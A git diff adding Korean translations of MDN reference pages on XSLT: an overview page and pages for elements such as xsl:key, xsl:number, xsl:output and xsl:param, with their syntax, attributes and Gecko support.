diff --git a/files/ko/web/xslt/index.html b/files/ko/web/xslt/index.html
new file mode 100644
index 0000000000..d7f6a6e738
--- /dev/null
+++ b/files/ko/web/xslt/index.html
@@ -0,0 +1,49 @@
+---
+title: XSLT
+slug: Web/XSLT
+tags:
+  - XSLT
+translation_of: Web/XSLT
+---
+<div><b>Extensible Stylesheet Language Transformations (XSLT)</b>는 전문 처리 소프트웨어와 함께 XML 문서 변환에 쓰이는 <a href="ko/XML">XML</a>에 기반을 둔 언어입니다. 비록 그 처리가 "변환"으로 되어 있더라도, 원 문서는 바뀌지 않습니다. 오히려, 새 XML 문서는 기존 문서의 컨텐트에 바탕을 두고 만듭니다. 그러므로, 새 문서를 표준 XML 문법이나 다른 형식(<a href="ko/HTML">HTML</a>이나 순수 텍스트 같은)으로 처리기가 결과를 직렬(출력)할 수도 있습니다. XSLT는 다른 XML 스키마 사이에 데이터를 바꾸거나 XML 데이터를 웹 페이지나 PDF 문서로 바꾸는데 가장 자주 쓰입니다. {{ Ref("one") }}</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id=".EB.AC.B8.EC.84.9C" name=".EB.AC.B8.EC.84.9C"> <a>문서</a> </h4>
+<dl><dt> <a href="ko/XSLT/Elements">XSLT Element Reference</a>
+</dt></dl>
+<dl><dt> <a href="ko/Transforming_XML_with_XSLT">Transforming XML with XSLT</a>
+</dt><dd> <small>XSLT는 스타일시트 만든 이가 그러길 바란다면 컨텐트를 모조리 다시 정리하고 다른 형식으로 변환하는 것을 포함하는 컨텐트 조작(manipulating)과 정렬이라는 중요한 두 방식으로 본래 XML 문서를 변환하게 합니다.</small>
+</dd></dl>
+<dl><dt> <a href="ko/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations">Using the Mozilla JavaScript interface to XSL Transformations</a>
+</dt><dd> <small>이 문서는 Mozilla 1.2의 자바스크립트 인터페이스와 XSLT 처리 엔진까지 설명합니다.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.topxml.com/xsl/tutorials/intro/">XSLT &amp; XPath Tutorial</a>
+</dt><dd> <small>TopXML XSLT 입문서는 여러분에게 기본이 되는 XSLT 개념, 문법, 프로그래밍을 소개합니다.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.w3schools.com/xsl/">XSLT Tutorial</a>
+</dt><dd> <small>이 <a class="external" href="http://www.w3schools.com">W3Schools</a> 입문서는 읽는 이에게 XML 문서를 XHTML같은 다른 형식으로 변환하기 위해 어떻게 XSLT를 사용하는지를 가르칩니다.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.xml.com/pub/a/2000/08/holman/">What is XSLT?</a>
+</dt><dd> <small>XSLT와 XPath에 대한 이 방대한 해설은 두 기술에 대한 지식이 없다고 가정하고, 배경, 문맥, 구조, 개념, 입문 용어를 통해 읽는 이를 이끕니다.</small>
+</dd></dl>
+<p><span class="alllinks"><a>모두 보기...</a></span>
+</p>
+</td>
+<td>
+<h4 id=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0" name=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0"> 커뮤니티 </h4>
+<ul><li> Mozilla 포럼 보기...
+</li></ul>
+<p>{{ DiscussionList("dev-tech-xslt", "mozilla.dev.tech.xslt") }}
+</p>
+<h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C"> 관련 주제 </h4>
+<dl><dd> <a href="ko/XML">XML</a>, <a href="ko/XPath">XPath</a>
+</dd></dl>
+</td></tr></tbody></table>
+<hr>
+<p><small>
+{{ Note("one") }} XSLT에 대한 이 내용은 [<a class=" external" href="http://en.wikipedia.org/wiki/Xslt" rel="freelink">http://en.wikipedia.org/wiki/Xslt</a> Wikipedia XSLT article]에서 얻었습니다.
+</small>
+</p><p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "en": "en/XSLT", "ja": "ja/XSLT", "pt": "pt/XSLT" } ) }}
diff --git a/files/ko/web/xslt/key/index.html b/files/ko/web/xslt/key/index.html
new file mode 100644
index 0000000000..733196810d
--- /dev/null
+++ b/files/ko/web/xslt/key/index.html
@@ -0,0 +1,35 @@
+---
+title: key
+slug: Web/XSLT/key
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/key
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:key&gt;</code> 요소는 <code>key( )</code> 함수가 있는 스타일시트 어디서나 쓸 수 있는 이름 붙은 키를 선언합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:key name=NAME match=EXPRESSION
+	use=EXPRESSION /&gt; </pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>name</code></dt>
+ <dd>
+  이 키에 이름을 지정합니다. QName이어야 합니다.</dd>
+ <dt>
+  <code>match</code></dt>
+ <dd>
+  이 키를 적용할 수 있는 노드를 정의합니다.</dd>
+ <dt>
+  <code>use</code></dt>
+ <dd>
+  적용가능한 각 노드에 키값을 결정하는데 쓸 수 있는 XPath 식을 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식이어야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#key">XSLT section 12.2, Keys</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/message/index.html b/files/ko/web/xslt/message/index.html
new file mode 100644
index 0000000000..d533a2d3c7
--- /dev/null
+++ b/files/ko/web/xslt/message/index.html
@@ -0,0 +1,28 @@
+---
+title: message
+slug: Web/XSLT/message
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/message
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:message&gt;</code> 요소는 (NS에서 자바스크립트 콘솔에) 메시지를 출력하고 선택에 따라 스타일시트 실행을 끝냅니다. 디버깅에 유용할 수 있습니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:message terminate="yes" | "no" &gt;
+	TEMPLATE
+&lt;/xsl:message&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+  <code>terminate</code></dt>
+ <dd>
+  "<code>yes</code>"로 설정하면, 실행을 끝마치는 게 좋겠다는 것을 나타냅니다. 기본값은 "<code>no</code>"이고 어느 경우에는 메시지가 출력하고 실행을 계속합니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#message">XSLT section 13, Messages</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/namespace-alias/index.html b/files/ko/web/xslt/namespace-alias/index.html
new file mode 100644
index 0000000000..e085abc4e7
--- /dev/null
+++ b/files/ko/web/xslt/namespace-alias/index.html
@@ -0,0 +1,30 @@
+---
+title: namespace-alias
+slug: Web/XSLT/namespace-alias
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/namespace-alias
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:namespace-alias&gt;</code> 요소는 스타일시트 이름공간을 출력 트리의 다른 이름공간으로 매기는(map) 데 드물게 쓰는 방안(device)입니다. 이 요소의 가장 평범한 쓰임은 다른 스타일시트로부터 스타일시트를 만드는 것입니다. 보통 <code>xsl:</code>가 접두사로 붙은 (결과 트리에 단순히 복사해도 좋을) LRE(literal result element)를 처리기가 오해하는 것을 막기 위해, 결과 트리의 XSLT 이름공간에 적당하게 도로 다시 바꿀 임시 이름공간을 할당합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:namespace-alias stylesheet-prefix=NAME result-prefix=NAME /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>stylesheet-prefix</code></dt>
+ <dd>
+  임시 이름공간을 지정합니다.</dd>
+ <dt>
+  <code>result-prefix</code></dt>
+ <dd>
+  결과 트리에 사용하길 바라는 이름공간을 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식이어야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#literal-result-element">XSLT section 7.1.1, Literal Result Elements</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>이번에 지원 안 함.</p>
diff --git a/files/ko/web/xslt/number/index.html b/files/ko/web/xslt/number/index.html
new file mode 100644
index 0000000000..b822625a0e
--- /dev/null
+++ b/files/ko/web/xslt/number/index.html
@@ -0,0 +1,173 @@
+---
+title: number
+slug: Web/XSLT/number
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/number
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:number&gt;</code> 요소는 숫자를 연속으로 셉니다. 또한 숫자를 빠르게 구성하는(format) 데도 쓸 수 있습니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre>&lt;xsl:number
+	count=EXPRESSION
+	level="single" | "multiple" | "any"
+	from=EXPRESSION
+	value=EXPRESSION
+	format=FORMAT-STRING
+	lang=XML:LANG-CODE
+	letter-value="alphabetic" | "traditional"
+	grouping-separator=CHARACTER
+	grouping-size=NUMBER  /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+  <code>count</code></dt>
+ <dd>
+  소스 트리에서 연속으로 셀 대상을 지정합니다. XPath 식을 씁니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>level</code></dt>
+ <dd>
+  일련번호를 만드는데 소스 트리의 수준을 어떻게 고려해야 하는 지를 정의합니다. 유효한 값은 <code>single</code>, <code>multiple</code>, <code>any</code> 세 가지. 기본값은 <code>single</code>입니다.</dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dt>
+    <code>single</code></dt>
+   <dd>
+    목록의 항목대로 연속으로 형제 노드를 번호 매깁니다. 처리기는 <code>count</code> 속성과 일치하는 <a href="ko/Transforming_XML_with_XSLT/Mozilla_XSLT%2f%2fXPath_Reference/Axes/ancestor-or-self"><code>ancestor-or-self</code></a> 축의 첫 번째 노드로 갑니다. 그리고 나서 역시 <code>count</code> 속성과 일치하는 앞선 형제(preceding siblings) 노드(있다면, 한 짝인 <code>from</code> 속성에 이르러 멈춤)를 모두 더하여 셉니다. 일치하지 않으면, sequence는 빈 목록입니다.</dd>
+  </dl>
+ </dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dt>
+    <code>multiple</code></dt>
+   <dd>
+    노드의 계층 위치를 반영하는 복합 sequence로 노드를 셉니다. 예를 들어, 1.2.2.5 (포개진 형식은 <code>format</code> 속성(예, A.1.1)으로 지정할 수 있습니다). 처리기는 만약 있다면 <code>from</code> 속성에 이르러 멈추며 현재 노드와 현재 노드의 모든 <a href="ko/Transforming_XML_with_XSLT/Mozilla_XSLT%2f%2fXPath_Reference/Axes/ancestor"><code>ancestors</code></a>를 조사합니다. 일치하지 않으면, sequence는 빈 목록입니다.</dd>
+  </dl>
+ </dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dt>
+    <code>any</code> (이번에 지원 안 함.)</dt>
+   <dd>
+    수준을 무시하고 연속으로 일치하는 모든 노드를 셉니다. <a href="ko/Transforming_XML_with_XSLT/Mozilla_XSLT%2f%2fXPath_Reference/Axes/ancestor"><code>ancestor</code></a>, <a href="ko/Transforming_XML_with_XSLT/Mozilla_XSLT%2f%2fXPath_Reference/Axes/self"><code>self</code></a>, <a href="ko/Transforming_XML_with_XSLT/Mozilla_XSLT%2f%2fXPath_Reference/Axes/preceding"><code>preceding</code></a> 축을 모두 고려합니다. 처리기는 현재 노드에서 시작하여 <code>from</code> 속성과 일치할 때 멈추며 문서 역순으로 진행합니다. 발견한 <code>count</code> 속성과 일치하지 않으면, sequence는 빈 목록입니다. 이 수준은 이번에 지원하지 않습니다.</dd>
+  </dl>
+ </dd>
+</dl>
+<dl>
+ <dt>
+  from</dt>
+ <dd>
+  번호 매기기를 시작하거나 다시 시작하면 좋을 곳을 지정합니다. 순서는 <code>from</code> 특성과 일치하는 노드의 첫 번째 자손(descendant)에서 시작합니다.</dd>
+</dl>
+<dl>
+ <dt>
+  value</dt>
+ <dd>
+  숫자에 주어진 형식을 적용합니다. 이것이 사용자 제공 숫자(노드 sequence 숫자와는 반대로)를 표준 <code>&lt;xsl:number&gt;</code> 형식으로 구성하는 빠른 방법입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  format</dt>
+ <dd>
+  만드는 숫자의 형식을 정의합니다.</dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dt>
+    format="1"</dt>
+   <dd>
+    &lt;tt&gt;1 2 3 . . .&lt;/tt&gt; (이번에 지원하는 유일한 형식)</dd>
+  </dl>
+ </dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dt>
+    format="01"</dt>
+   <dd>
+    &lt;tt&gt;01 02 03 . . . 09 10 11 . . .&lt;/tt&gt;</dd>
+  </dl>
+ </dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dt>
+    format="a"</dt>
+   <dd>
+    &lt;tt&gt;a b c . . .y z aa ab . . .&lt;/tt&gt;</dd>
+  </dl>
+ </dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dt>
+    format="A"</dt>
+   <dd>
+    &lt;tt&gt;A B C . . . Y Z AA AB . . .&lt;/tt&gt;</dd>
+  </dl>
+ </dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dt>
+    format="i"</dt>
+   <dd>
+    &lt;tt&gt;i ii iii iv v . . .&lt;/tt&gt;</dd>
+  </dl>
+ </dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dt>
+    format="I"</dt>
+   <dd>
+    &lt;tt&gt;I II III IV V . . .&lt;/tt&gt;</dd>
+  </dl>
+ </dd>
+</dl>
+<dl>
+ <dt>
+  lang (이번에는 지원 안 함)</dt>
+ <dd>
+  문자에 기반을 둔 번호 매기기 형식에 쓰면 좋을 언어의 알파벳을 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+  letter-value</dt>
+ <dd>
+  문자(letter)를 쓰는 번호 매김 열(sequence) 사이를 명확하게 합니다. 어떤 언어는 문자(letter)를 쓰는 하나 이상의 번호 매기기 시스템이 있습니다. 두 시스템이 같은 토큰으로 시작하면, 모호함이 생길 수 있습니다. 이 속성은 "<code>alphabetic</code>"나 "<code>traditional</code>" 값일 수 있습니다. 기본값은 "<code>alphabetic</code>"입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  grouping-separator</dt>
+ <dd>
+  어떤 문자를 그룹(예로 천 단위) 구분자로 쓰면 좋을지를 지정합니다. 기본값은 쉼표(<code>,</code>)입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  grouping-size</dt>
+ <dd>
+  숫자 그룹을 만드는 자릿수를 나타냅니다. 기본값은 "<code>3</code>"입니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#number">XSLT section 7.7, Numbering</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>부분 지원. 위 해설을 보세요.</p>
diff --git a/files/ko/web/xslt/otherwise/index.html b/files/ko/web/xslt/otherwise/index.html
new file mode 100644
index 0000000000..50249dc0b4
--- /dev/null
+++ b/files/ko/web/xslt/otherwise/index.html
@@ -0,0 +1,23 @@
+---
+title: otherwise
+slug: Web/XSLT/otherwise
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/otherwise
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:otherwise&gt;</code> 요소는 아무런 <code>&lt;xsl:when&gt;</code> 조건도 적용하지 않았을 때 취하면 좋을 동작을 정의하는 데 씁니다. 다른 프로그래밍 언어의 <code>else</code>나 <code>default</code> 경우와 비슷합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:otherwise&gt;
+	TEMPLATE
+&lt;/xsl:otherwise&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>하위명령, 템플릿 안에서 <code>&lt;xsl:choose&gt;</code> 요소의 마지막 자식으로 나타나야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Conditional-Processing-with-xsl:choose">XSLT section 9.2, Conditional Processing with xsl:choose</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/output/index.html b/files/ko/web/xslt/output/index.html
new file mode 100644
index 0000000000..97baf3f433
--- /dev/null
+++ b/files/ko/web/xslt/output/index.html
@@ -0,0 +1,90 @@
+---
+title: output
+slug: Web/XSLT/output
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/output
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:output&gt;</code> 요소는 출력 문서의 특성을 조절합니다. method 속성이 있는 이 요소가 Netscape에서 정확하게 기능하도록 쓸 수 있어야 합니다. 7.0 현재, <code>method="text"</code>는 기대한 대로 동작합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:output
+	method="xml" | "html" | "text"
+	version=STRING
+	encoding=STRING
+	omit-xml-declaration="yes" | "no"
+	standalone="yes" | "no"
+	doctype-public=STRING
+	doctype-system=STRING
+	cdata-section-elements=LIST-OF-NAMES
+	indent="yes" | "no"
+	media-type=STRING  /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+  <code>method</code></dt>
+ <dd>
+  출력 형식을 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>version</code></dt>
+ <dd>
+  출력 문서에 XML이나 HTML 선언의 version 속성값을 지정합니다. 이 속성은 <code>method="html"</code>나 <code>method="xml"</code>일 때만 씁니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>encoding</code></dt>
+ <dd>
+  출력 문서에 <code>encoding</code> 속성값을 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>omit-xml-declaration</code></dt>
+ <dd>
+  출력에 XML 선언을 포함할 지를 나타냅니다. 가능한 값은 "<code>yes</code>"나 "<code>no</code>"입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>standalone</code> (지원 안 함.)</dt>
+ <dd>
+  있으면, standalone 선언이 출력 문서에 나타나면 좋을 지를 나타내고 그 값을 줍니다. 가능한 값은 "yes"나 "no"입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>doctype-public</code></dt>
+ <dd>
+  출력 문서에 <code>DOCTYPE</code> 선언의 <code>PUBLIC</code> 속성값을 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>doctype-system</code></dt>
+ <dd>
+  출력 문서에 <code>DOCTYPE</code> 선언의 <code>SYSTEM</code> 속성값을 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>cdata-section-elements</code></dt>
+ <dd>
+  <code>CDATA</code> 절에 써도 좋을 요소의 텍스트 컨텐트를 나열합니다. 요소는 공백으로 구분해야 합니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>indent</code> (지원 안 함.)</dt>
+ <dd>
+  출력에 계층 구조를 나타내도록 하면 좋을 지를 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>media-type</code> (지원 안 함.)</dt>
+ <dd>
+  출력 문서의 MIME 타입을 지정합니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식이어야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#output">XSLT section 16, Output</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>부분 지원. 위 해설을 보세요.</p>
diff --git a/files/ko/web/xslt/param/index.html b/files/ko/web/xslt/param/index.html
new file mode 100644
index 0000000000..e1bcf36e19
--- /dev/null
+++ b/files/ko/web/xslt/param/index.html
@@ -0,0 +1,33 @@
+---
+title: param
+slug: Web/XSLT/param
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/param
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:param&gt;</code> 요소는 이름과 선택에 따라 기본값으로 매개변수를 설정합니다. 최상위 요소로 쓸 때, 매개변수는 전역입니다. <code>&lt;xsl:template&gt;</code> 요소 안에서 쓰면, 매개변수는 그 템플릿에 대해 지역입니다. 이 경우에 요소는 템플릿의 첫 자식 요소여야 합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:param name=NAME select=EXPRESSION&gt;
+	TEMPLATE
+&lt;/xsl:param&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>name</code></dt>
+ <dd>
+  파라미터에 이름을 붙입니다. 이름은 QName이어야 합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+  <code>select</code></dt>
+ <dd>
+  none으로 지정하면 기본값을 제공하는 XPath 식을 씁니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 최상위 요소나 템플릿 안에 나타날 수 있음.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#variables">XSLT section 11, Variables and Parameters</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/preserve-space/index.html b/files/ko/web/xslt/preserve-space/index.html
new file mode 100644
index 0000000000..771ffe81d6
--- /dev/null
+++ b/files/ko/web/xslt/preserve-space/index.html
@@ -0,0 +1,26 @@
+---
+title: preserve-space
+slug: Web/XSLT/preserve-space
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/preserve-space
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:preserve-space&gt;</code> 요소는 공백을 보존하면 좋을 소스 문서의 요소를 정의합니다. 하나 이상의 요소가 있으면, 공백 문자로 이름을 구분하세요. 공백 보존하기가 기본 설정이므로 이 요소는 오직 <code>&lt;xsl:strip-space&gt;</code> 요소와 거꾸로 동작하기 위해 쓸 필요가 있습니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:preserve-space elements=LIST-OF-ELEMENT-NAMES  /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>elements</code></dt>
+ <dd>
+  공백을 보존하면 좋을 요소를 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식이어야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#strip">XSLT section 3.4, Whitespace Stripping</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/processing-instruction/index.html b/files/ko/web/xslt/processing-instruction/index.html
new file mode 100644
index 0000000000..ad1c6eaaf6
--- /dev/null
+++ b/files/ko/web/xslt/processing-instruction/index.html
@@ -0,0 +1,26 @@
+---
+title: processing-instruction
+slug: Web/XSLT/processing-instruction
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/processing-instruction
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:processing-instruction&gt;</code> 요소는 출력 문서에 처리 명령을 씁니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<p><code>&lt;xsl:processing-instruction name=NAME&gt; TEMPLATE &lt;/xsl:processing-instruction&gt;</code></p>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>name</code></dt>
+ <dd>
+  처리 명령에 이름을 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Creating-Processing-Instructions">XSLT section 7.3, Creating Processing Instructions</a></p>
